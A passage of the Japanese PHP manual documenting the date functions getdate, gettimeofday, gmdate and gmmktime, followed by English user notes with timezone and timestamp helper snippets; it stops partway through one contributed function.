timestamp に関連する情報を連想配列で返します。 返される連想配列の内容は、次のようになります。

返される連想配列のキー
キー | 説明 | 戻り値の例
"seconds" | 秒。数値。 | 0 から 59
"minutes" | 分。数値。 | 0 から 59
"hours" | 時。数値 | 0 から 23
"mday" | 月単位の日。数値 | 1 から 31
"wday" | 曜日。数値。 | 0 (日曜) から 6 (土曜)
"mon" | 月。数値。 | 1 から 12
"year" | 年。4桁の数値。 | 例: 1999 あるいは 2003
"yday" | 年単位の日。数値。 | 0 から 365
"weekday" | 曜日。フルスペルの文字。 | Sunday から Saturday
"month" | 月。フルスペルの文字。 | January から December
0 | UNIX時（1970年1月1日）からの秒数。 time()の戻り値と同様。 date()でも使用される。 | システムによって違うが、通常は-2147483648 から 2147483647.

変更履歴

バージョン | 説明
8.0.0 | timestamp は、nullable になりました。

例

例1 getdate() の例

<?php
$today = getdate();
print_r($today);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [seconds] => 40
    [minutes] => 58
    [hours]   => 21
    [mday]    => 17
    [wday]    => 2
    [mon]     => 6
    [year]    => 2003
    [yday]    => 167
    [weekday] => Tuesday
    [month]   => June
    [0]       => 1055901520
)

参考

  • date() - ローカルの日付/時刻を書式化する
  • idate() - ローカルな時刻/日付を整数として整形する
  • localtime() - ローカルタイムを得る
  • time() - 現在の Unix タイムスタンプを返す
  • setlocale() - ロケール情報を設定する

User Contributed Notes

There are no user contributed notes for this page.


現在の時間を得る

  • ≪ getdate
  • gmdate ≫
  • PHP Manual
  • 日付・時刻 関数
  • 現在の時間を得る

gettimeofday

(PHP 4, PHP 5, PHP 7, PHP 8)

gettimeofday — 現在の時間を得る

説明

gettimeofday ( bool $as_float = false ) : array|float

この関数は、gettimeofday(2) へのインターフェイスです。 この関数は、システムコールから返されたデータを有する連想配列を返します。

パラメータ

as_float

true を指定すると、配列ではなく float で返します。

返り値

デフォルトでは配列を返します。as_float が設定されている場合は float を返します。

配列のキー:

  • "sec" - UNIX エポックからの秒
  • "usec" - マイクロ秒
  • "minuteswest" - グリニッジ基準の分
  • "dsttime" - 夏時間補正の型

例

例1 gettimeofday() の例

<?php
print_r(gettimeofday());

echo gettimeofday(true);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [sec] => 1073504408
    [usec] => 238215
    [minuteswest] => 0
    [dsttime] => 1
)

1073504408.23910

User Contributed Notes

lucas dot karisny at linuxmail dot org 13-Feb-2005 06:26
A small improvement on getTimer.  Using vsprintf instead of sprintf there is no need to assign the array:

<?php
function utime()
{
  return (float) (vsprintf('%d.%06d', gettimeofday()));
}
?>

In a test on my machine getTimer took 0.037519 seconds to run through 1000 iterations versus 0.027912 seconds for utime.  In total, utime runs about 25% quicker.  The use is negligible in an actual benchmarking scenario, but this could provide a slightly more accurate estimate.  Of course the time it takes to run the function could always be stored at the start and subtracted from your total value each time it is run.
middleto at pilot dot msu dot edu 12-Aug-1999 07:49
The types of DST correction (from sys/time.h on a Linux system):
 0     Not on DST
 1     USA DST
 2     Austrailian DST
 3     Western European DST
 4     Middle European DST
 5     Eastern European DST
 6     Canada DST
 7     Great Britain and Eire DST
 8     Rumania DST
 9     Turkey
10     Australian DST (with shift in 1986)


GMT/UTC の日付/時刻を書式化する

  • ≪ gettimeofday
  • gmmktime ≫
  • PHP Manual
  • 日付・時刻 関数
  • GMT/UTC の日付/時刻を書式化する

gmdate

(PHP 4, PHP 5, PHP 7, PHP 8)

gmdate — GMT/UTC の日付/時刻を書式化する

説明

gmdate ( string $format , int|null $timestamp = null ) : string

date() 関数と同じですが、返される時刻が グリニッジ標準時 (GMT) であるところが異なります。

パラメータ

format

出力される文字列の書式。date() 関数の書式オプションを参照ください。

timestamp

オプションのパラメータ timestamp は、 int 型の Unix タイムスタンプです。 timestamp が指定されなかったり、null だった場合のデフォルト値は、 現在の時刻です。言い換えると、デフォルトは time() の返り値となります。

返り値

日付を表す文字列を返します。

変更履歴

バージョン | 説明
8.0.0 | timestamp は、nullable になりました。

例

例1 gmdate() の例

フィンランド (GMT +0200) で実行した場合、一行目の出力は "Jan 01 1998 00:00:00"、二行目の出力は "Dec 31 1997 22:00:00" となります。

<?php
echo date("M d Y H:i:s", mktime(0, 0, 0, 1, 1, 1998));
echo gmdate("M d Y H:i:s", mktime(0, 0, 0, 1, 1, 1998));
?>

参考

  • date() - ローカルの日付/時刻を書式化する
  • mktime() - 日付を Unix のタイムスタンプとして取得する
  • gmmktime() - GMT 日付から Unix タイムスタンプを取得する
  • strftime() - ロケールの設定に基づいてローカルな日付・時間をフォーマットする

User Contributed Notes

abhijagtap73 at gmail dot com 10-Aug-2018 06:57
I am getting a string which is a timestamp:

string(13) "1532941682753"

I need to convert it to date in the following format: (yyyy-mm-dd hh:mm:ss.SSS) I can do it with

gmdate('yyyy-mm-dd hh:mm:ss.SSS', $timestamp)

but I get the error that 2nd argument is not an int. So I need to convert my timestamp to valid int. I tried to cast my timestamp string to int but the problem is it is too long for int and every time I get the maximum allowed for int, which is int(2147483647). Any ideas how to fix it would be welcome. Thank you.
rob AT rob DASH jakobs DOT nl 03-Jul-2018 11:35
If you want to calculate the time period between two clocked events that happen less than 24 hours apart, for example the daylight period between sunrise and sunset, you can take advantage of the fact that the gmdate() function also accepts a negative timestamp. If you want to present the time period in the format hours:minutes you can use

<?php
$sunrise_clocked = '7:45';  // hours with or without leading zeros
$sunset_clocked = '21:05';  // hours with or without leading zeros

$time_past = gmdate('G:i', strtotime($sunset_clocked) - strtotime($sunrise_clocked));

echo 'Daylight period is ' . $time_past . ' (hours:minutes)';
?>

The above example will output

    Daylight period is 13:20 (hours:minutes)

The fun part comes in when the sunset time is next day (and therefore in value lower than the sunrise clock time), for example:

     $sunrise_clocked = '18:45';
     $sunset_clocked = '09:30';

will output

     Daylight period is 14:45 (hours:minutes)

This trick does NOT work with date(), because the output may then be off a number of hours, depending on your time zone.
Tested with PHP 5.6.35 and 7.2.4.
genna87 at gmail dot com 31-Aug-2016 11:09
A function to get the ISO 8601 timestamp in UTC with precision up to microseconds

function iso_8601_utc_time($precision = 0)
{
    $time = gettimeofday();

    if (is_int($precision) && $precision >= 0 && $precision <= 6) {
        $total = (string) $time['sec'] . '.' . str_pad((string) $time['usec'], 6, '0', STR_PAD_LEFT);
        $total_rounded = bcadd($total, '0.' . str_repeat('0', $precision) . '5', $precision);
        @list($integer, $fraction) = explode('.', $total_rounded);
        $format = $precision == 0
            ? "Y-m-d\TH:i:s\Z"
            : "Y-m-d\TH:i:s,".$fraction."\Z";
        return gmdate($format, $integer);
    }

    return false;
}
QED2000 07-Aug-2008 11:14
Here is a very simple UTC timestamp:

<?php

 print gmdate("Y-m-d\TH:i:s\Z");

?>
jhechtf at gmail dot com 24-Jul-2007 08:19
My function for something like this is like so:
<?php
function actual_time($format,$offset,$timestamp){
   //Offset is in hours from gmt, including a - sign if applicable.
   //So lets turn offset into seconds
   $offset = $offset*60*60;
   $timestamp = $timestamp + $offset;
    //Remember, adding a negative is still subtraction ;)
   return gmdate($format,$timestamp);
}
?>
It's always worked fine for me.
Blazeme 15-Jun-2007 03:25
Here, I wrote a function (from code above) for easy time zone
settings.
Regards.
<?php
function datum($datum=true) {
$sign = "+"; // Whichever direction from GMT to your timezone. + or -
$h = "1"; // offset for time (hours)
$dst = true; // true - use dst ; false - don't

if ($dst==true) {
    $daylight_saving = date('I');
    if ($daylight_saving){
        if ($sign == "-"){ $h=$h-1;  }
        else { $h=$h+1; }
    }
}
$hm = $h * 60;
$ms = $hm * 60;
if ($sign == "-"){ $timestamp = time()-($ms); }
else { $timestamp = time()+($ms); }
$gmdate = gmdate("m.d.Y. g:i A", $timestamp);
if($datum==true) {
return $gmdate;
}
else {
return $timestamp;
}

}
?>

If you set first argument to true, it'll return formated date.
If false, will return $timestamp.
Enjoy!
ttech5593 at gmail dot com 28-Mar-2006 02:53
For me most of the examples here needed the + or - seconds to set the time zone. I wanted a faster way to get the time zone in seconds. So I created this :
<?php
$h = "3";// Hour for time zone goes here e.g. +7 or -4, just remove the + or -
$hm = $h * 60;
$ms = $hm * 60;
$gmdate = gmdate("m/d/Y g:i:s A", time()-($ms)); // the "-" can be switched to a plus if that's what your time zone is.
echo "Your current time now is :  $gmdate . ";
?>
It works. Hope it helps.
gefiltefishee at comcast dot net 11-Mar-2006 01:54
I was struggling with how to get my browser to output MY local time using gmdate().

I figured it out and here's what you do (ASSUMING THE SERVER IS ON GMT, If not, just echo a generic gmdate() without timezone setting and calculate the number of hours ahead or behind you are of that time, convert it to seconds and add [for ahead] or subtract [for behind] that value to time() ):

NOTE: these are US times [setlocale(LC_TIME, 'en_US')]

for Central Time (7 hours behind GMT):
gmdate("format", time()-(25200));

For Pacific Time (9 hours behind GMT):
gmdate("format", time()-(32400));

REMEMBER - THE VALUES ABOVE ASSUME THE SERVER IS ON GMT

I used the following gmdate() format:
"l, F jS, Y  g:i a"
but you can use what you like ;)

Hope this helps!
fernandobassani at gmail dot com 28-Dec-2005 05:35
If you have the same application running in different countries, you may have some troubles getting the local time..
In my case, I was having troubles with a clock created with Macromedia Flash... the time shown by the clock was supposed to be set up by the server, passing the timestamp. When I moved the file to another country, I got a wrong time...
You can use the timezone offset ( date("Z") ) to handle this kind of thing...

<?php
$timestamp = time()+date("Z");
echo gmdate("Y/m/d H:i:s",$timestamp);
?>
Sir Derek G 24-Nov-2005 11:00
Here's a nifty little function that returns a random timestamp between two dates.

<?php
//////////////////////////////////////////////////////////
// Return a random timestamp between two dates (inclusive)
// Example: Tue, 08 Nov 2004 06:47:10 GMT
//
// time - Starting time string
// Valid Examples:
// 10 September 2001
// next Thursday
// last Monday
// now
//
// time2 - Ending time string
function randomTimestamp($time = "" , $time2 = "")
{
    if(!$time) $time = strtotime("10 September 2000");
    if(!$time2) $time2 = strtotime("24 November 2005");
    $timestamp = date(" D, d M Y", rand( settype($time , int) , settype($time2 , int) )); //Must be called once before becoming random, ???
    $timestamp = date(" D, d M Y", rand($time , $time2))." ";//Now it's random

    $h = rand(1,23);
    if(strlen($h) == 1 ) $h = "0$h";
    $t = $h.":";

    $d = rand(1,29);
    if(strlen($d) == 1 ) $d = "0$d";
    $t .= $d.":";

    $s = rand(0,59);
    if(strlen($s) == 1 ) $s = "0$s";
    $t .= $s;

    $timestamp .= $t." GMT";
    return $timestamp;
}
?>
rob at geek dot co dot nz 07-Nov-2005 12:06
It's worth noting the distinction between gmgate() and date() with regards to day light savings time. If your server uses universal time and makes an adjustment by locale for daylight savings time, you will want to use date(). gmdate will display the non-adjuisted time.
paul at sysnyx dot com 23-Sep-2005 01:16
Gives user the ability to use their timezone preferences.
I had to create this script for a very large community. I first made any posts to the database that would display the date using just time();

Example: mysql_query("INSERT INTO `table` (`datetime`) VALUES ('".time()."')");

Also, for their timezone preference, I had the values as (example):
(Eastern Timezone) -5 hours
(Newfoundland) -3 hours -30 minutes

This information would be saved in the users table.
To display the date and time in their respective timezone preference:

<?php
function datetime($datetime,$zone){
if(date('I')):$datetime+=60*60;endif;
return gmdate('m-d-Y - h:i:sa',strtotime($zone,$datetime));
}
?>

$datetime would be the information pulled from the database from a post for news, forums, etcetera (remember, the inserted table data for the time was using time();)
$zone would be the information pulled from the database from the users timezone preference.

I also used cookies to store their timezone:
$sth=mysql_query("SELECT `datetime` FROM `table` LIMIT 1");
$row=mysql_fetch_assoc($sth);
echo datetime($row['datetime'],$_COOKIE['timezone']);

Remember to set the 'm-d-Y - h:i:sa' to how you wish the time to display. Visit the manual about date().
ncofreNOSPAMPLEASE at step2u dot com 20-May-2005 04:21
Want to put different International Times in your web?

First create a database including the GMT and the DST (find it f.i. at timeanddate.com). Be careful, because there are several different DST dates and options.

Once you have your function which calculates the GMT hour difference (it can be a decimal!!), sum it to the Unix Time (remember that unix time is GMT, not local: f.i. gmdate("U")===date("U)).

Don't forget to recalculate the GMT difference to seconds before it.

Then format your date using gmdate() (not date()!) and... you've got your International Time!

<?php

$city["Name"] = "Barcelona";
$city["GMT"] = 1.0;
$city["actualDST"] = 1.0; //Because it's summer time

$gmt_diff = $city["GMT"]+$city["actualDST"]; //your functions for getting the hour difference betweer the city and the GMT
$city_time = time()+($gmt_diff*3600); //sum the timestamps
echo gmdate("H:i",$city_time); //echo the formatted date
echo " h. in the beautiful city of ".$city["Name"];

?>
Kogik inc dot -- info at kogik dot com 08-Jul-2004 02:35
Wath out for summer time and winter time...

If you want to get the current date and time based on GMT you could use this :

<?php
$timezone  = -5; //(GMT -5:00) EST (U.S. & Canada)
echo gmdate("Y/m/j H:i:s", time() + 3600*($timezone+date("I")));
?>

this would gives: 2004/07/8 14:35:19 in summer time
and 2004/07/8 13:35:19 in winter time.

Note that date("I") returns 1 in summer and 0 in winter.
www.l-serwis.wpt.pl 13-Nov-2003 01:51
If you want to get time in your timezone try this:

<?php
$zone=3600*0 //GMT
$zone=3600*1 //CET
$zone=3600*-5//USA
$date=gmdate("D M Y H:i", time() + $zone);
?>
08-Sep-2002 09:26
Do not use the "T" timezone specifier to generate "GMT", as this may return "UTC" or "GMT+0000" or "Z" or something else which depends on the running platform, which would not be RFC1123 compliant.

Use 'D, d M Y H:i:s \G\M\T' which forces the value of the timezone indicator.

Note that RFC1123 requires the use of ENGLISH day and month abbreviations. They MUST NOT be localized!

An example of the RFC1123 format for full dates is:
Sun, 06 Nov 1994 08:49:37 GMT

Note the presence of the leading 0 (RFC1123 dates have a fixed size, and space padding is prohibited because it causes problems with fixed size handling when such dates are used in HTTP headers that may compress whitespaces.

Some proxies accept also the ISO 8601 format, but this is not documented in HTTP/1.1 specs (RFC2616).

Examples:
<?php
header('Date: '.gmdate('D, d M Y H:i:s \G\M\T', time()));
header('Last-Modified: '.gmdate('D, d M Y H:i:s \G\M\T', time()));
header('Expires: '.gmdate('D, d M Y H:i:s \G\M\T', time() + 3600));
?>

or if you prefer double quotes and don't want to bother with double backslashes:
<?php
header("Date: ".gmdate("D, d M Y H:i:s", time())." GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s", time())." GMT");;
header("Expires: ".gmdate("D, d M Y H:i:s", time() + 3600)." GMT");
?>
14-Jun-2002 08:09
For an RFC 1123 (HTTP header date) date, try:

<?php
$rfc_1123_date = gmdate('D, d M Y H:i:s T', time());
?>


GMT 日付から Unix タイムスタンプを取得する

  • ≪ gmdate
  • gmstrftime ≫
  • PHP Manual
  • 日付・時刻 関数
  • GMT 日付から Unix タイムスタンプを取得する

gmmktime

(PHP 4, PHP 5, PHP 7, PHP 8)

gmmktime — GMT 日付から Unix タイムスタンプを取得する

説明

gmmktime ( int $hour , int|null $minute = null , int|null $second = null , int|null $month = null , int|null $day = null , int|null $year = null ) : int|false

指定されるパラメータが GMT 日付を表すこと以外は mktime() と同じです。 gmmktime() は内部で mktime() を使用しているので、ローカル時刻として有効な値のみが使用可能です。

mktime() と同様に、 引数は右から順に省略することができます。 省略された引数は、GMT の日付と時刻に従って、現在の値にセットされます。

引数なしで gmmktime() を呼び出すことは推奨されません。 現在のタイムスタンプを取得する目的には、time() が使えます。

パラメータ

hour

month、day と year で決まる日付の 0 時から数えた「時」。負の値は、その日の 0 時から前にさかのぼった時間を表します。 23 より大きい値は、その翌日以降の該当する時間を表します。

minute

hour 時 0 分から数えた「分」。 負の値は、その前の時刻を表します。 59 より大きい値は、その次の時間以降の該当する時間を表します。

second

minute 分 0 秒から数えた「秒」。 負の値は、その前の時刻を表します。 59 より大きい値は、その次の分以降の該当する時間を表します。

month

前年末から数えた月数。1 から 12 までの場合は、カレンダーどおりのその年の「月」を表します。 (負の値を含めた) 1 より小さい値は、前年の月を逆順でたどります。 つまり 0 なら 12 月、-1 なら 11 月になるということです。 12 より大きい値は、その翌年以降の該当する月を表します。

day

前月末から数えた日数。1 から 28、29、30、31 (月によって異なる) までの場合は、その月の「日」を表します。 (負の値を含めた) 1 より小さい値は、前月の日を逆順でたどります。 つまり 0 なら前月の末日、-1 ならそのさらに前日になるということです。 その月の日数より大きい値は、翌月以降の該当する日を表します。

year

年

isDST

常に GMT 日付を表すので、isDST は結果に影響を及ぼしません。

注意:

このパラメータは PHP 7.0.0 で削除されました。

返り値

成功時に、Unix タイムスタンプを int で返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | hour はオプションではなくなりました。
8.0.0 | minute, second, month, day, year は、nullable になりました。

例

例1 gmmktime() の基本的な例

<?php
// 出力: July 1, 2000 is on a Saturday
echo "July 1, 2000 is on a " . date("l", gmmktime(0, 0, 0, 7, 1, 2000));
?>

参考

  • mktime() - 日付を Unix のタイムスタンプとして取得する
  • date() - ローカルの日付/時刻を書式化する
  • time() - 現在の Unix タイムスタンプを返す

User Contributed Notes

babonk at irc dot freenode dot net 05-May-2009 01:00
GMT time is useful for avoiding the daylight's savings issue.  I had to use it to get a working date difference function:

<?php
function dateDiff($date1, $date2) //returns the difference, in days, between two dates.  avoids the daylight's savings issue by using GMT
{
    $date1 = date_parse($date1);
    $date2 = date_parse($date2);
    return ((gmmktime(0, 0, 0, $date1['month'], $date1['day'], $date1['year']) - gmmktime(0, 0, 0, $date2['month'], $date2['day'], $date2['year']))/3600/24);
}
?>
ben at sixg dot com 15-May-2008 05:17
As an addendum to my previous note (php.net said it was too long and I had to split this part off), I'll leave you with one more fun tidbit. :)

(See the note below this one for a full explanation of timezones versus unix timestamps.)

3 AM PST == 11 AM GMT, right?  11 AM _GMT_ > 3 AM _GMT_ (same timezone) right?  So, logically, 3 AM PST > 3 AM GMT.  (Makes sense right, it is 3 AM in California 8 hours after it is 3 AM in Greenwich.)  Now, because timestamps are timezone-independent (or, always GMT/UTC), you get a strange situation.  mktime(3) > gmmktime(3).  Even though PST is GMT-8, so PST is less than GMT, mktime(3) is _greater_ than gmmktime(3).  At first glance you'd probably expect mktime(3) to be less than gmmktime(3), but because of everything I described before, about how timestamps are always GMT/UTC (or, in some senses, no timezone at all), it ends up being "backwards."  (Run a few examples yourself if you don't believe me.)  Yet another reason not to try to deal with timezones at the timestamp level!
ben at sixg dot com 15-May-2008 04:38
The interaction of timezones with unix timestamps is a bit tricky so I thought I'd clarify so that people aren't led too far astray by Greg's and Glen's comments. :)

In the POSIX standard, "unix time" does not have a specified timezone.  It is universal.  For most intents and purposes you can think of them as always being GMT/UTC.  (And you can derive the UTC time from a "timestamp" by dividing it by 86400 and looking at the modulus.)  Do not ever try to adjust a timestamp by a timezone offset (specifically, do not ever use the code at the end of Glen's note).  Timezones are basically used only when "rendering" a timestamp from "unix time" into a "civil time" date/time string.

Let's take an example.  PST is GMT-8, and EST is GMT-5.  So when it is 3 AM in PST, it is 6 AM in EST.  At that exact moment in time, the _timestamp_ is identical in both time zones.  If I am sitting at my computer in PST, and you are at yours in EST, and I call you up and read you the current unix timestamp on my computer, it will match yours (assuming our clocks are both set accurately for our timezone).

So, time() always will return the same thing at the same actual moment, anywhere in the world.  gmmktime() and mktime(), when given specific time parameters, convert those time parameters FROM the appropriate timezone (GMT for gmmktime(), local time for mktime()), before computing the appropriate timestamp.  Again, for most intents and purposes you can imagine that mktime() first converts your input parameters to GMT and then calls gmmktime() which produces a GMT timestamp.  (For the purposes of this explanation, please ignore the fact that the PHP documentation says that internally gmmktime() calls mktime().)

HOWEVER, when called with no arguments, gmmktime() uses the current GMT time, and mktime() uses the current local time.  So, if you imagine the above conversion taking place where mktime() converts the (current) local time to GMT, it ends up essentially calling gmmktime() with the _current_ GMT time, just like gmmktime() does all by itself.

This is why time(), gmmktime(), and mktime() all return the same exact timestamp, _when called with no arguments_.  This is why Glen saw them all produce the same thing.

Greg wrote that gmmktime() will return something different if you are not sitting in the GMT timezone, but this is only true if you have given it arguments from which to construct a timestamp.

So let's look at that situation again.  Say I am in PST and it's 3 AM PST.  (And therefore it is 11 AM GMT.)  mktime() lets me override one field at at time, and the first argument is, conveniently, the hour field.  So if I call mktime(3), I get the same answer as mktime().  Makes sense, right?  I just told it to give me the timestamp corresponding to 3 AM local time.  If I call gmmktime(11), I get the same answer as gmmktime(), since it is currently 11 AM GMT.  mktime(3) and gmmktime(11) refer to the same exact point in time, because PST is 8 hours behind GMT.  So it makes sense that mktime(3) == gmmktime(11).  And sine mktime() == mktime(3) (at this moment), and gmmktime() == gmmktime(11) (at this moment), it makes sense that gmmktime() == mktime().

Now, back to Greg's note about gmmktime() being different.  With identical arguments, their output will be different, e.g. mktime(3) != gmmktime(3).  This makes sense because 3 AM PST != 3 AM GMT.

Okay, that should be all you need to know to deal with the interaction between timestamps and timezones.  Don't ever try to convert timezones by adding or subtracting to the timestamp.  Timestamps don't really have timezones, it is apples and oranges, and you'll either get the wrong answer in some situations or end up with code that no one can maintain.  Leave it up to the higher-level PHP functions to do the conversion.  (If you want to hack things, strtotime is handy and it can work with timezones; let it do the hard work for you.)
Greg 17-Apr-2008 02:19
In addition to GLEN's post on DEC 5th 2007

(Just a note for others)

The results for the three time types Glen listed under "returns" all returned the exact same timestamp
 - 1196812966

Using those three functions will only make the exact same timestamp if the server the code is executed on IS in GMT timezone.

'mktime()' and 'time()' will both return the timestamp for your server time, and will both be the same as eachother.
gmmktime will return a GMT timestamp.

So if run on a server that is NOT in the GMT timezone then gmmktime will return a different timestamp to the other two.
PHPcoder at freemail dot ig3 dot net 06-Sep-2007 11:26
gmmktime() should ONLY be used to create a timestamp when specifying a specific GMT date and time.

If you want to make a valid time stamp for the current date & time, use mktime() instead.

UNIX timestamps, by definition, store the GMT time relative to the UNIX epoch.

gmmktime() (without any parameters specified) will effectively use the computer's LOCAL time values just the same as if they were explicit parameters, and the resulting time stamp will be incorrect.  (The resulting timestamp will actually be offset in the OPPOSITE direction of the local timezone offset from GMT!)
moshe dot ortov at gmail dot com 13-Jun-2007 12:57
Beware that despite the documentation which states is_dst is ignored, with PHP 5.2 at least, it is not actually ignored and will cause a 1 hour offset on the UTC time returned.

This caused some interesting bugs, especially with the tzdelta function shown from previous posts below - you need to make the final parameter a 0 instead of $ar[8] otherwise you get an off-by-1-hour as a result.

As a result, I now use :

<?php
function tzdelta ( $iTime = 0 ) {
        if ( 0 == $iTime ) { $iTime = time(); }
        $ar = localtime ( $iTime );
        $ar[5] += 1900; $ar[4]++;
        $iTztime = gmmktime ( $ar[2], $ar[1], $ar[0], $ar[4], $ar[3], $ar[5], 0);
        return ( $iTztime - $iTime );
}
?>
mirko at example dot com 31-Oct-2005 04:33
<?php

/**
 * Check if given time is during Europen Summer Time
 *
 * @link http://en.wikipedia.org/wiki/European_Summer_Time
 * @param int $time UTC timestamp (GMT)
 * @return boolean true if it is EST else false
 */
function is_est($time)
{
    // get year
    $Y = gmdate("Y", $time);

    // calc start / end dates and time for that year
    $begin_date = (31 - (5*$Y/4 + 4) % 7);
    $end_date = (31 - (5*$Y/4 + 1) % 7);
    $begin_time = gmmktime(0,0,0,  3,$begin_date,$Y);
    $end_time = gmmktime(0,0,0,  10,$end_date,$Y);

    // if it's in that period
    $is_dst = $time >= $begin_time && $time < $end_time;
    return $is_dst;
}

?>
ranjeet at magnet-i dot com 16-Sep-2005 05:52
<?php
function getTimeRemaining($timeZonePass,
$dateTimeUser,$ID,$table,$coloumnName)
{
global $configVars;

$timeZoneDefault=explode("_",$timeZonePass);

$timeZone=(substr($timeZoneDefault[0],1))*(60) ;

if((substr($timeZoneDefault[0],0,1)) =="+")
   $defaultSeconds=gmdate("Y-m-d-H-i-s",time()+
   $timeZone);
elseif((substr($timeZoneDefault[0],0,1)) =="-")
   $defaultSeconds=gmdate("Y-m-d-H-i-s",time()-
   $timeZone);
else
   $defaultSeconds=gmdate("Y-m-d-H-i-s",time());

$defaultSecondsExp=explode("-",$defaultSeconds);

$defaultGmktime=gmmktime($defaultSecondsExp[3],
           $defaultSecondsExp[4],
$defaultSecondsExp[5], $defaultSecondsExp[1],
           $defaultSecondsExp[2],
$defaultSecondsExp[0]);

$dateArray=explode("-",$dateTimeUser);

$slectedGmktime=gmmktime(23,59,59,$dateArray[1],
           $dateArray[2],$dateArray[0]);

if((substr($timeZoneDefault[0],0,1)) =="+")
   $slectedGmktimeAdded=($slectedGmktime)+
                       ($timeZone);
elseif((substr($timeZoneDefault[0],0,1)) =="-")
   $slectedGmktimeAdded=($slectedGmktime)+
                       ($timeZone);
else
   $slectedGmktimeAdded=($slectedGmktime);

//$slectedGmDate=gmdate("Y-m-d-H-i-s",
           $slectedGmktimeAdded);

$timeMinus=$slectedGmktimeAdded -
       $defaultGmktime;

$secondsInDay= 60*60*24;

if ($secondsInDay <= $timeMinus)
{
   $daysRemaining = floor($timeMinus/
                   $secondsInDay);
   if($daysRemaining >1 )
       return $daysRemaining ."&nbsp;Days&nbsp;";
   else
       return $daysRemaining ."&nbsp;Day&nbsp;";
}

if(empty($daysRemaining))
{
   $secondsInHour= 60*60;
   if ($secondsInHour <= $timeMinus)
   {
       $hoursRemaining =floor ($timeMinus/
                       $secondsInHour);
       if($hoursRemaining > 1 )
           return $hoursRemaining ."&nbsp;Hours&nbsp;";
       else
           return $hoursRemaining ."&nbsp;Hour&nbsp;";
   }
}

if(empty($hoursRemaining))
{
   //$secondsRemaining = $timeMinus. "&nbsp;Seconds";
   $secondsInMinute = 60;
   if ($secondsInMinute <= $timeMinus)
   {
       $mintuesRemaining =floor ($timeMinus/
               $secondsInMinute);
       if($mintuesRemaining > 1 )
           return $mintuesRemaining ."&nbsp;Minutes&nbsp;";
       else
           return $mintuesRemaining ."&nbsp;Minute&nbsp;";
   }
}

if(empty($mintuesRemaining))
{
   $secondsRemaining = $timeMinus;
   if($secondsRemaining < 0)
   {
       timedOutSale($ID,$table,$coloumnName);
       return "Time out";
   }
   elseif($secondsRemaining > 1 )
       return $secondsRemaining . "&nbsp;Seconds";
   else
       return $secondsRemaining . "&nbsp;Second";
}
}

function timedOutSale($ID,$table)
{
   GLOBAL $configVars, $db,$tableNames;
   $query =  "UPDATE " . $table
                   . " SET status = 'T'
                   WHERE $coloumnName = '" . $ID ."'";

           $result = $db->query($query);
   return;
}

?>
15-Sep-2005 09:02
<?php
function getTimeRemaining($timeZonePass,$dateTimeUser,$ID,$table,$coloumnName)
{
global $configVars;

$timeZoneDefault=explode("_",$timeZonePass);

$timeZone=(substr($timeZoneDefault[0],1))*(60) ;

if((substr($timeZoneDefault[0],0,1)) =="+")
    $defaultSeconds=gmdate("Y-m-d-H-i-s",time()+
    $timeZone);
elseif((substr($timeZoneDefault[0],0,1)) =="-")
    $defaultSeconds=gmdate("Y-m-d-H-i-s",time()-
    $timeZone);
else
    $defaultSeconds=gmdate("Y-m-d-H-i-s",time());

$defaultSecondsExp=explode("-",$defaultSeconds);

$defaultGmktime=gmmktime($defaultSecondsExp[3],
            $defaultSecondsExp[4],
$defaultSecondsExp[5], $defaultSecondsExp[1],
            $defaultSecondsExp[2],
$defaultSecondsExp[0]);

$dateArray=explode("-",$dateTimeUser);

$slectedGmktime=gmmktime(23,59,59,$dateArray[1],
            $dateArray[2],$dateArray[0]);

if((substr($timeZoneDefault[0],0,1)) =="+")
    $slectedGmktimeAdded=($slectedGmktime)+
                        ($timeZone);
elseif((substr($timeZoneDefault[0],0,1)) =="-")
    $slectedGmktimeAdded=($slectedGmktime)+
                        ($timeZone);
else
    $slectedGmktimeAdded=($slectedGmktime);

//$slectedGmDate=gmdate("Y-m-d-H-i-s",
            $slectedGmktimeAdded);

$timeMinus=$slectedGmktimeAdded -
        $defaultGmktime;

$secondsInDay= 60*60*24;

if ($secondsInDay <= $timeMinus)
{
    $daysRemaining = floor($timeMinus/
                    $secondsInDay);
    if($daysRemaining >1 )
        return $daysRemaining ." Days ";
    else
        return $daysRemaining ." Day ";
}

if(empty($daysRemaining))
{
    $secondsInHour= 60*60;
    if ($secondsInHour <= $timeMinus)
    {
        $hoursRemaining =floor ($timeMinus/
                        $secondsInHour);
        if($hoursRemaining > 1 )
            return $hoursRemaining ." Hours ";
        else
            return $hoursRemaining ." Hour ";
    }
}

if(empty($hoursRemaining))
{
    //$secondsRemaining = $timeMinus. " Seconds";
    $secondsInMinute = 60;
    if ($secondsInMinute <= $timeMinus)
    {
        $mintuesRemaining =floor ($timeMinus/
                $secondsInMinute);
        if($mintuesRemaining > 1 )
            return $mintuesRemaining ." Minutes ";
        else
            return $mintuesRemaining ." Minute ";
    }
}

if(empty($mintuesRemaining))
{
    $secondsRemaining = $timeMinus;
    if($secondsRemaining < 0)
    {
        timedOutSale($ID,$table,$coloumnName);
        return "Time out";
    }
    elseif($secondsRemaining > 1 )
        return $secondsRemaining . " Seconds";
    else
        return $secondsRemaining . " Second";
}
}

function timedOutSale($ID,$table)
{
    GLOBAL $configVars, $db,$tableNames;
    $query =  "UPDATE " . $table
                    . " SET status = 'T'
                    WHERE $coloumnName = '" . $ID ."'";

            $result = $db->query($query);
    return;
}
?>
jbr (AT) ya-right.com 13-Feb-2005 10:04
I have seen many different hacked versions of this function for people using Windows that want to support dates before Jan 1, 1970. Here is yet another one that is different than others you may have seen! It does not use loops like all the others I have seen!

<?php

// usage...

echo win_gmmktime ( 12, 43, 16, 07, 23, 1946 );

function win_gmmktime ( $hour, $minute, $second, $month, $day, $year )
{
    if ( $year > 1969 )
    {
        return ( gmmktime ( $hour, $minute, $second, $month, $day, $year ) );
    }

    $t = 0;
    $ds = 86400;
    $hs = 3600;
    $dy = 365;
    $ms = 60;

    $months = array ( 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 );
    $leap_year = $year % 4 == 0 && ( $year % 100 > 0 || $year % 400 == 0 ) ? true : false;

    if ( $year < 1969 )
    {
        $y = 1969 - $year;
        $t -= ( $y * $dy ) * $ds;
        $x = ceil ( $y / 4 );

        if ( $leap_year && $month > 2 )
        {
            $x -= 1;
        }

        $t -= $x * $ds;
    }

    if ( $month != 12 )
    {
